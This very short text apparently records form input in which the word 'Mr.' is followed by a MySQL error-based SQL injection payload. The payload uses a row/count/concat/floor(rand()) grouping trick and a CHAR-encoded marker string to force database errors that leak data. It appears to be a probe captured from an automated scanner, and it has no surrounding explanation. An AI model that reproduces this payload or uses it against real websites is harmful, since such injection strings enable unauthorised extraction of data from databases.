Mr.

"(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(101),CHAR(119),CHAR(71),CHAR(119),CHAR(77),CHAR(89),CHAR(48),CHAR(85)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))"